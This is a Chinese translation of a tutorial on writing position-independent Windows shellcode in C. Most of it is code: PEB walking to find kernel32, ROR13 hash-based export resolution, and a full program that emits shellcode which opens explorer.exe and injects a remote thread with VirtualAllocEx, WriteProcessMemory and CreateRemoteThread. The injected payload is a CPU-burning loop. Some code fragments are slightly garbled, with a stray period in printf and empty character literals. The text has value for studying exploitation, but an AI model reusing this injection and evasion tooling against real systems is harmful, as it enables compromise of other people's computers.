背景
有時候程式設計師們需要寫一段獨立於位置操作的程式碼,可當作一段資料寫到其他程式或者網路中去。該型別程式碼在它誕生之初就被稱為shellcode,在軟體中黑客們以此獲取到shell許可權。方法就是通過這樣或那樣的惡意手法使得這段程式碼得以執行,完成它的使命。當然了,該程式碼的編寫僅能靠它自己,作者無法使用現代軟體開發的實踐來推進shellcode的編寫。
彙編常用於編寫shellcode,特別是對程式碼大小挑剔的時候,彙編就是不錯的選擇。對我個人而言,多數專案都需要一段類似可以注入到其他程式的程式碼。這時候我就不是特別在意程式碼大小了,反而是開發效率以及除錯能力顯得尤為重要。一開始,我用NASM編寫獨立的彙編程式,把獲得的輸出檔案轉換為C陣列,然後整合到我的程式中。這正是你在milw0rm這樣的網站上所看到的,大多數exploit payload的獲取方式。最終我厭倦了這樣的方式,雖然很懷念NASM完備的功能,我還是開始使用內聯彙編來解決問題。隨著經驗的積累,我發現了一個完全可用的純C開發shellcode的方法,僅需2條內聯彙編指令。就開發速度和除錯shellcode時的上下文而言,真的比單純使用匯編的方法有很大的改進。運用機器級的比如ollydbg這樣的偵錯程式,我毫不含糊,但這相對於用Visual Studio偵錯程式來除錯C原始碼,就是小菜一碟。
準備工作
為了確保能生成可用作shellcode這樣特定格式的程式碼,我們需要對Visual Studio做些特殊的配置。下面的各項配置,可能隨編譯器的變更而變更:
-
使用Release模式。近來編譯器的Debug模式可能產生逆序的函式,並且會插入許多與位置相關的呼叫。
-
禁用優化。編譯器會預設優化那些沒有使用的函式,而那可能正是我們所需要的。
-
禁用棧緩衝區安全檢查(/Gs)。在函式頭尾所呼叫的棧檢查函式,存在於二進位制檔案的某個特定位置,導致輸出的函式不能重定位,這對shellcode是無意義的。
第一個shellcode
#include <stdio.h>
void shell_code()
{
for (;;)
;
}
void __declspec(naked) END_SHELLCODE(void) {}
int main(int argc, char *argv[])
{
int sizeofshellcode = (int)END_SHELLCODE - (int)shell_code;
// Show some info about our shellcode buffer
printf("Shellcode starts at %p and is %d bytes long", shell_code. sizeofshellcode);
// Now we can test out the shellcode by calling it from C!
shell_code();
return 0;
}
這裡所示例的shellcode除了一個無限迴圈,啥事也沒幹。不過有一點是比較重要的————放在shell_code函式之後的END_SHELLCODE。有了這個,我們就能通過shell_code函式開頭和END_SHELLCODE函式開頭間的距離來確定shellcode的長度了。還有,C語言在這裡所體現的好處就是我們能夠把程式本身當作一段資料來訪問,所以如果我們需要把shellcode寫到另外一份檔案中,僅需簡單的呼叫fwrite(shell_code, sizeofshellcode, 1, filehandle)。
Visual Studio環境中,通過呼叫shell_code函式,藉助IDE的除錯技能,就可以很容易的除錯shellcode了。
在上面所示的第一個小案例中,shellcode僅用了一個函式,其實我們可以使用許多函式。只是所有的函式需要連續地存放在shell_code函式和END_SHELLCODE函式之間,這是因為當在內部函式間呼叫時,call指令總是相對的。call指令的意思是“從距這裡X位元組的地方呼叫一個函式”。所以如果我們把執行call的程式碼和被呼叫的程式碼都拷貝到其他地方,同時又保證了它們間的相對距離,那麼連結時就不會出岔子。
Shellcode中資料的使用
傳統C原始碼中,如果要用一段諸如ASCII字元的資料,可以直接內嵌進去,無需擔心資料的存放,比如: WinExec(“evil.exe”)。這裡的“evil.exe”字串被儲存在C程式的靜態區域(很可能是二進位制的.rdata節中),如果我們把這段程式碼拷貝出來,試圖將其注入到其他程式中,就會因那段字元不存在於其他程式的特定位置而失敗。傳統彙編編寫的shellcode可以輕鬆的使用資料,這通過使用call指令獲取到指向程式碼本身的指標,而這段程式碼可能就混雜著資料。下面是一個使用匯編實現的shellcode方式的WinExec呼叫:
call end_of_string
db `evil.exe`,0
end_of_string:
call WinExec
這裡的第一個call指令跳過字元資料”evial.exe”,同時在棧頂存放了一個指向字串的指標,稍後會被用作WinExec函式的引數。這種新穎的使用資料的方法有著很高的空間利用率,但是很可惜在C語言中沒有與此等價的直接呼叫。在用C寫shellcode時,我建議使用棧區來存放和使用字串。為了使微軟編譯器在棧上動態的分配字元以便重定位,你需要如下處理:
char mystring[] = {`e`,`v`,`i`,`l`,`.`,`e`,`x`,`e`,0};
winexec(mystring);
你會發現,我將字串宣告為字元陣列的形式。如果我這樣寫char mystring[] = “evil.exe”; 在老式的微軟編譯器中,它會通過一系列的mov指令來構成字串,而現在僅會簡單的將字串從記憶體中的固定位置拷貝到棧中,而如果需要重定位程式碼,這就無效了。把兩種方法都試試,下載免費的IDA Pro版本看看它們的反彙編程式碼。上面的賦值語句的反彙編應該看起來如下所示:
mov [ebp+mystring], 65h
mov [ebp+mystring+1], 76h
mov [ebp+mystring+2], 69h
mov [ebp+mystring+3], 6Ch
mov [ebp+mystring+4], 2Eh
mov [ebp+mystring+5], 65h
mov [ebp+mystring+6], 78h
mov [ebp+mystring+7], 65h
mov [ebp+mystring+8], 0
處理資料時,字串真的是很頭疼的一件事。其他比如結構體、列舉、typedef宣告、函式指標啊這些,都能如你預期的那樣正常工作,你可以利用C提供的全套功能。確保資料為區域性變數,一切都OK了。
使用庫函式
我將這篇文章專注於Windows環境的shellcode。上面所提及的一些規則也適用於Unix系統。Windows環境下的shellcode會更復雜一點,因為我們沒有一致公開的方法進行系統呼叫,就像在Unix中僅需幾條彙編程式碼就可以的那樣(對int 80h的呼叫)。我們需要利用DLL中提供的API函式,來進行系統呼叫做些像讀寫檔案、網路通訊這樣的事。這些DLL最終會進行必要的系統呼叫,而它的實現細節幾乎隨著每次Windows的釋出而變化。像《The Shellcoder’s Handbook》這樣的標榜性著作描繪了搜尋記憶體中DLL和函式的方法。如果想將shellcode做到在不同Windows版本間的可移植性,有兩個函式是必須的:1、查詢kernel32.dll的函式;2、實現GetProcAddress()函式或者查詢GetProcAddress()地址的函式。我所提供的實現是基於hash的而非字串的比較,下面我將提供用於shellcode的hash實現,並做個簡短的說明。
Hash函式
在shellcode中,使用hash進行函式的查詢是比較普遍的。較流行的ROR13 hash方法是最常用的,它的實現也用在了《The Shellcoder’s Handbook》中。它的基本思想是當我們要查詢一個名為“MyFunction”的函式時,不是將字串存放在記憶體中,對每個函式名進行字串的比對,而是生成一個32位的hash值,將每個函式名進行hash比對。這並不能減小執行時間,但是可以節省shellcode的空間,也具有一定的反逆向功效。下面我提供了ASCII和Unicode版本的ROR13 hash實現:
DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string)
{
DWORD hash = 0;
while (*unicode_string != 0)
{
DWORD val = (DWORD)*unicode_string++;
hash = (hash >> 13) | (hash << 19); // ROR 13
hash += val;
}
return hash;
}
DWORD __stdcall ror13_hash(const char *string)
{
DWORD hash = 0;
while (*string) {
DWORD val = (DWORD) *string++;
hash = (hash >> 13)|(hash << 19); // ROR 13
hash += val;
}
return hash;
}
查詢DLL
有3個連結串列可以用來描述記憶體中載入的DLL:
InMemoryOrderModuleList、InInitializationOrderModuleList和InLoadOrderModuleList。它們都在PEB(程式環境塊)中。在你的shellcode中,用哪個都可以,我所用的是InMemoryOrderModuleList。需要如下的兩條內聯彙編來訪問PEB:
PPEB __declspec(naked) get_peb(void)
{
__asm {
mov eax, fs:[0x30]
ret
}
}
現在我們已經獲取了PEB,可以查詢記憶體中的DLL了。唯一的一直存在於Windows程式記憶體中的DLL是ntdll.dll,但kernel32.dll會更方便一點,並且在99.99%的Windows程式中(Win32子系統)都可用。下面我提供的程式碼實現會查詢module列表,利用unicode的ROR13 hash值查到kernel32.dll。
HMODULE __stdcall find_kernel32(void)
{
return find_module_by_hash(0x8FECD63F);
}
HMODULE __stdcall find_module_by_hash(DWORD hash)
{
PPEB peb;
LDR_DATA_TABLE_ENTRY *module_ptr, *first_mod;
peb = get_peb();
module_ptr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink;
first_mod = module_ptr;
do {
if (unicode_ror13_hash((WCHAR *)module_ptr->FullDllName.Buffer) == hash)
return (HMODULE)module_ptr->Reserved2[0];
else
module_ptr = (PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0];
} while (module_ptr && module_ptr != first_mod); // because the list wraps,
return INVALID_HANDLE_VALUE;
}
這裡所提供的find_module_by_hash函式可以利用dll名稱的hash值找到任意的載入在記憶體中的DLL。如果要載入一個新的原本不再記憶體中的DLL,就需要使用kernel32.dll中的LoadLibrary函式。要找到LoadLibrary函式,我們就需要實現GetProcAddress函式。下面的程式碼實現利用函式名的hash值在載入的dll中查詢函式:
FARPROC __stdcall find_function(HMODULE module, DWORD hash)
{
IMAGE_DOS_HEADER *dos_header;
IMAGE_NT_HEADERS *nt_headers;
IMAGE_EXPORT_DIRECTORY *export_dir;
DWORD *names, *funcs;
WORD *nameords;
int i;
dos_header = (IMAGE_DOS_HEADER *)module;
nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew);
export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
names = (DWORD *)((char *)module + export_dir->AddressOfNames);
funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions);
nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals);
for (i = 0; i < export_dir->NumberOfNames; i++)
{
char *string = (char *)module + names[i];
if (hash == ror13_hash(string))
{
WORD nameord = nameords[i];
DWORD funcrva = funcs[nameord];
return (FARPROC)((char *)module + funcrva);
}
}
return NULL;
}
現在我們可以這樣查詢函式:
HMODULE kern32 = find_kernel32();
FARPROC loadlibrarya = find_function(kern32, 0xEC0E4E8E); // the hash of LoadLibraryA
最終成品
現在我將以完整的C程式的方式來展示上面所提及的內容。程式碼執行時,將生成名為shellcode.bin的檔案,它就儲存著shellcode。該shellcode可以向explorer.exe注入一個執行緒,實現無限迴圈,直至消耗完cpu。
#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
#include <wchar.h>
#include <tlhelp32.h>
PPEB get_peb(void);
DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string);
DWORD __stdcall ror13_hash(const char *string);
HMODULE __stdcall find_module_by_hash(DWORD hash);
HMODULE __stdcall find_kernel32(void);
FARPROC __stdcall find_function(HMODULE module, DWORD hash);
HANDLE __stdcall find_process(HMODULE kern32, const char *procname);
VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size);
BOOL __stdcall strmatch(const char *a, const char *b);
void __stdcall shell_code()
{
HMODULE kern32;
DWORD *dwptr;
HANDLE hProcess;
char procname[] = {`e`,`x`,`p`,`l`,`o`,`r`,`e`,`r`,`.`,`e`,`x`,`e`,0};
char code[] = {0xEB, 0xFE};
kern32 = find_kernel32();
hProcess = find_process(kern32, (char *)procname);
inject_code(kern32, hProcess, code, sizeof code);
}
HANDLE __stdcall find_process(HMODULE kern32, const char *procname)
{
FARPROC createtoolhelp32snapshot = find_function(kern32, 0xE454DFED);
FARPROC process32first = find_function(kern32, 0x3249BAA7);
FARPROC process32next = find_function(kern32, 0x4776654A);
FARPROC openprocess = find_function(kern32, 0xEFE297C0);
FARPROC createprocess = find_function(kern32, 0x16B3FE72);
HANDLE hSnapshot;
PROCESSENTRY32 pe32;
hSnapshot = (HANDLE)createtoolhelp32snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
return INVALID_HANDLE_VALUE;
pe32.dwSize = sizeof( PROCESSENTRY32 );
if (!process32first(hSnapshot, &pe32))
return INVALID_HANDLE_VALUE;
do
{
if (strmatch(pe32.szExeFile, procname))
{
return openprocess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
}
} while (process32next(hSnapshot, &pe32));
return INVALID_HANDLE_VALUE;
}
BOOL __stdcall strmatch(const char *a, const char *b)
{
while (*a != `` && *b != ``)
{
char aA_delta = `a` - `A`;
char a_conv = *a >= `a` && *a <= `z` ? *a - aA_delta : *a;
char b_conv = *b >= `a` && *b <= `z` ? *b - aA_delta : *b;
if (a_conv != b_conv)
return FALSE;
a++;
b++;
}
if (*b == `` && *a == ``)
return TRUE;
else
return FALSE;
}
VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size)
{
FARPROC virtualallocex = find_function(kern32, 0x6E1A959C);
FARPROC writeprocessmemory = find_function(kern32, 0xD83D6AA1);
FARPROC createremotethread = find_function(kern32, 0x72BD9CDD);
LPVOID remote_buffer;
DWORD dwNumBytesWritten;
remote_buffer = virtualallocex(hprocess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (remote_buffer == NULL)
return;
if (!writeprocessmemory(hprocess, remote_buffer, code, size, &dwNumBytesWritten))
return;
createremotethread(hprocess, NULL, 0, remote_buffer, NULL, 0, NULL);
}
HMODULE __stdcall find_kernel32(void)
{
return find_module_by_hash(0x8FECD63F);
}
HMODULE __stdcall find_module_by_hash(DWORD hash)
{
PPEB peb;
LDR_DATA_TABLE_ENTRY *module_ptr, *first_mod;
peb = get_peb();
module_ptr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink;
first_mod = module_ptr;
do {
if (unicode_ror13_hash((WCHAR *)module_ptr->FullDllName.Buffer) == hash)
return (HMODULE)module_ptr->Reserved2[0];
else
module_ptr = (PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0];
} while (module_ptr && module_ptr != first_mod); // because the list wraps,
return INVALID_HANDLE_VALUE;
}
PPEB __declspec(naked) get_peb(void)
{
__asm {
mov eax, fs:[0x30]
ret
}
}
DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string)
{
DWORD hash = 0;
while (*unicode_string != 0)
{
DWORD val = (DWORD)*unicode_string++;
hash = (hash >> 13) | (hash << 19); // ROR 13
hash += val;
}
return hash;
}
DWORD __stdcall ror13_hash(const char *string)
{
DWORD hash = 0;
while (*string) {
DWORD val = (DWORD) *string++;
hash = (hash >> 13)|(hash << 19); // ROR 13
hash += val;
}
return hash;
}
FARPROC __stdcall find_function(HMODULE module, DWORD hash)
{
IMAGE_DOS_HEADER *dos_header;
IMAGE_NT_HEADERS *nt_headers;
IMAGE_EXPORT_DIRECTORY *export_dir;
DWORD *names, *funcs;
WORD *nameords;
int i;
dos_header = (IMAGE_DOS_HEADER *)module;
nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew);
export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
names = (DWORD *)((char *)module + export_dir->AddressOfNames);
funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions);
nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals);
for (i = 0; i < export_dir->NumberOfNames; i++)
{
char *string = (char *)module + names[i];
if (hash == ror13_hash(string))
{
WORD nameord = nameords[i];
DWORD funcrva = funcs[nameord];
return (FARPROC)((char *)module + funcrva);
}
}
return NULL;
}
void __declspec(naked) END_SHELLCODE(void) {}
int main(int argc, char *argv[])
{
FILE *output_file = fopen("shellcode.bin", "w");
fwrite(shell_code, (int)END_SHELLCODE - (int)shell_code, 1, output_file);
fclose(output_file);
return 0;
}
原文 Writing Shellcode with a C Compiler
翻譯 徐文博
via idf.cn